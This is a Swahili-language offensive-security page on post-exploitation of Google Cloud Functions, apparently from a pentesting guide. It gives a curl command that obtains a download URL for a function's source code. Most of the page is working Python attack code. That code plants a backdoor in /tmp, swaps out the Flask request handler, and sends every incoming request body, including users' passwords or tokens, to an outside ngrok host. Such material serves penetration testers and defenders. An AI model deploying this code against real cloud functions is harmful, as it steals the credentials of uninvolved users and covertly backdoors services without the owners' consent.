GCP - Cloud Functions Post Exploitation

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Cloud Functions

Pata habari kuhusu Cloud Functions katika:

pageGCP - Cloud Functions Enum

cloudfunctions.functions.sourceCodeGet

Kwa kibali hiki unaweza kupata URL iliyosainiwa ili uweze kupakua nambari ya chanzo ya Cloud Function:

curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

Kuiba Maombi ya Cloud Function

Ikiwa Cloud Function inasimamia habari nyeti ambazo watumiaji wanatuma (k.m. nywila au vitambulisho), ukiwa na mamlaka ya kutosha unaweza kurekebisha msimbo wa chanzo wa kazi na kuchota habari hii.

Zaidi ya hayo, Cloud Functions zinazoendeshwa kwa python hutumia flask kuwezesha seva ya wavuti, ikiwa kwa namna fulani unapata hitilafu ya kuingiza msimbo ndani ya mchakato wa flaks (k.m. hitilafu ya SSTI), inawezekana kubadilisha kushughulikia kazi ambayo itapokea maombi ya HTTP kwa kazi yenye nia mbaya ambayo inaweza kuchota ombi kabla ya kukipeleka kwa kushughulikiaji halali.

Kwa mfano msimbo huu unatekeleza shambulizi:

import functions_framework


# Some python handler code
@functions_framework.http
def hello_http(request, last=False, error=""):
"""HTTP Cloud Function.
Args:
request (flask.Request): The request object.
<https://flask.palletsprojects.com/en/1.1.x/api/#incoming-request-data>
Returns:
The response text, or any set of values that can be turned into a
Response object using `make_response`
<https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response>.
"""

if not last:
return injection()
else:
if error:
return error
else:
return "Hello World!"



# Attacker code to inject
# Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py

new_function = """
def exfiltrate(request):
try:
from urllib import request as urllib_request
req = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST")
urllib_request.urlopen(req, timeout=0.1)
except Exception as e:
if not "read operation timed out" in str(e):
return str(e)

return ""

def new_http_view_func_wrapper(function, request):
def view_func(path):
try:
error = exfiltrate(request)
return function(request._get_current_object(), last=True, error=error)
except Exception as e:
return str(e)

return view_func
"""

def injection():
global new_function
try:
from flask import current_app as app
import flask
import os
import importlib
import sys

if os.access('/tmp', os.W_OK):
new_function_path = "/tmp/function.py"
with open(new_function_path, "w") as f:
f.write(new_function)
os.chmod(new_function_path, 0o777)

if not os.path.exists('/tmp/function.py'):
return "/tmp/function.py doesn't exists"

# Get relevant function names
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default)
realpath = os.path.realpath(source_path) # Get full path

# Get the modules representations
spec_handler = importlib.util.spec_from_file_location("main_handler", realpath)
module_handler = importlib.util.module_from_spec(spec_handler)

spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py')
module_backdoor = importlib.util.module_from_spec(spec_backdoor)

# Load the modules inside the app context
with app.app_context():
spec_handler.loader.exec_module(module_handler)
spec_backdoor.loader.exec_module(module_backdoor)

# make the cloud funtion use as handler the new function
prev_handler = getattr(module_handler, handler_fname)
new_func_wrap = getattr(module_backdoor, 'new_http_view_func_wrapper')
app.view_functions["run"] = new_func_wrap(prev_handler, flask.request)
return "Injection completed!"

except Exception as e:
return str(e)